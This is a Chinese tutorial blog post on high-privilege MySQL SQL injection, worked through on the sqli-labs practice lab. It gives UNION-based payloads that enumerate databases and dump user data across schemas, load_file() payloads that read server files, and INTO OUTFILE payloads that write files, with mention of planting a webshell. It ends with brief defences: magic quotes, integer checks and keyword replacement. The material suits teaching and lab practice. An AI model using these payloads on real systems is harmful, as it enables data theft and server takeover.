【详细版】SQL注入之高权限实战

含有SQL注入之高权限理解篇+实战篇(注入+读写)+基础防御=超详细版

一、MYSQL注入流程

SQL注入流程(针对数字型、字符型):

1、判断是否存在注入(and 1=1)

2、猜解列名数量(order by)

3、通过报错判断,是否存在回显(union、selet)

4、回显点进行信息收集(union、select)

5、对应数据库进行实战获取

注意:字符型在处理数字型基础上(注入添加--+、# 对传递参数处理即可)

不同大致为两点:判断是否存在注入点、处理传递参数方式

备注:回顾数字型请查看(本篇以及回顾篇结合sqli-labs便于理解与实战)

SQL注入之MYSQL手工注入篇-优快云博客

二、SQL注入之高权限理解
(1)解读高低权限:

1.1-系统用户:

系统用户通常被赋予了最高级别的权限,能够对数据库进行全方位的操作,包括但不限于增删改查等所有功能。这使得系统用户能够对数据库的结构、数据内容进行全面的管理和调整。例如,系统管理员可以创建新的表、修改表结构、删除大量数据以进行数据库的优化和维护。

1.2-普通用户:

相比之下,普通用户仅拥有部分已配置的权限,通常仅限于查询操作。这种限制旨在保护数据库中的数据不被未经授权的修改或删除。比如说,一个普通的数据分析员可能只需要从数据库中获取数据进行分析,而不需要有修改或删除数据的权力。

1.3-权限总结:

普遍高权限具有增删改查,低权限具备查

(2)本篇针对不同网站具备同一数据库不同数据库

备注:在网站A注入网站B(必须具备同一MYSQL服务器,具备高权限root)

(3)SQL注入之高权限内容需求:

(4)查看MYSQL用户权限流程(读取对应文件-sqli-labs第二关index.php逐步深入)

(5)简单理解数据库知识点:

Information_schemata库(schema_name字段):schemata表:所有库信息

Information_schemata库(table_name字段):tables表:所有表信息

Information_schemata库(column_name字段):columns表:所有列信息

三、SQL注入之高权限实战
(一)本次针对字符型进行SQL高权限注入:

备注:获取其他库基础信息资料

(1)注入:http://localhost/sqli-labs-master/Less-1/?id=1

传递参数:select * from users where id='1' LIMIT 0,1

判断字符型只通过id=1判断不出来,同时尝试使用注入:?id=1 and 1=2

传递参数为:select * from users where id='1 and 1=2' LIMIT 0,1

观察回显值情况(判断为字符型):

(2)SQL注入高权限进行信息收集(关键步骤)

1-判断用户权限:

注入:?id=-1%27%20union%20select%201,user(),2%20--+

2-查询对应库名称(注意查询为本数据库数据):

注入:?id=-1' union select 1,database(),2 --+

3-查询对应表名称(注意查询为本数据表数据):

注入:?id=-2' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=0x7365637572697479 --+

4-查询所有库名称(进行跨库注入):

注入:?id=-2' union select 1,group_concat(schema_name),3 from information_schema.schemata --+

5-查询对应表名称(test库):

注入:?id=-2' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=0x74657374 --+

6-查询对应列名称(users表):

注入:?id=-2' union select 1,group_concat(column_name),3 from information_schema.columns where table_name= --+

7-获取对应库数据内容(通过高权限注入获取完成)

注入:?id=-2' union select 1,2,(select group_concat(id,0x3a,username,0x3a,email) from test.users) --+

(二)对服务器文件进行读写操作流程【前提条件:必须为高权限

(1)文字读写注入的原理:

利用文件的读写权限进行注入,可以写入一句话木马,也可以读取系统文件的敏感信息

注意:winows中secure_file_priv普遍存在于www/mysql /my.ini

具体内容如下所示:例如windows系统需要进行mysql权限的修改

解读:secure_file_priv=‘’ :代表对文件读写没有限制

(2)高权限的使用分为:读取、写入

2.1-读取文件:(前提必须知道路径) 查看数据库路径:@@datadir

注入:?id=-2' union select 1,2,@@datadir --+

2.2-使用函数:load_file()  读取文件   select load_file(‘文件路径即可’)    

注意:我没有在对应数据库下面进行操作不过道理是一样的,请自行查看

注入代码如下:合理利用load_file函数完成--高权限读取工作

1、?id=-2 union select 1,load_file('C://d.txt'),3

在 URL 中,“%27”通常是“ ' ”(单引号)的 URL 编码形式

0x433a2f2f642e747874   表示为    C://d.txt

2、?id=-2 union select 1,load_file(0x433a2f2f642e747874),3

3、?id=-2 union select 1,load_file(%27C://d.txt%27),3

成功读取到对应路径下文件数据:

2.3-写入文件(可注入木马)

使用函数:Into Outfile(能写入多行,按格式输出)和 into Dumpfile(只能写入一行且没有输出格式)

注意:outfile 后面不能接0x开头或者char转换以后的路径,只能是单引号路径

注入代码:

1、?id=-1’ union select 1,'donbo到此一游!',3 into outfile 'c:/d.txt' --+

2、?id=-1’ union select 1,’donbo 到此一游!’,3 into into Dumpfile ‘C:/d.txt’ --+

四、SQL注入之基础防御
(一)魔术引号(在特殊内容前添加\进行转义,导致注入内容无法执行)

        魔术引号(Magic Quote)是一个自动将进入 PHP 脚本的数据注意:单独的 ' 用于表示字符串的开始或结束。但当使用 \' 时,它的作用是将紧跟其后的 ' 转义为普通的字符 '例如:要存储字符串 It's a book 到数据库中,正确的写法可能是 'It\'s a book',进行转义的过程。最好在编码时不要转义而在运行时根据需要而转义。

(二)内置函数(判断语句数据类型)

做数据类型的过滤is_int()、is_integer()、is_long()

判断参数id值是否为整数不为整数则报错,返回内容(wrong content!)

注意:编译转换错误可以换为wrong content!或者修改编码

(三)自定义关键字(对输入的内容进行过滤)

str_replace()函数用于在字符串中替换指定的子字符串

其语法为:

str_replace($search, $replace, $subject, $count = null)

$search:要被替换的子字符串。

$replace:用于替换的新字符串。

$subject:要进行操作的原始字符串。

$count(可选):一个变量,用于接收替换操作执行的次数

代码为:$id = str_replace('select', 'tihuan', $id);

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值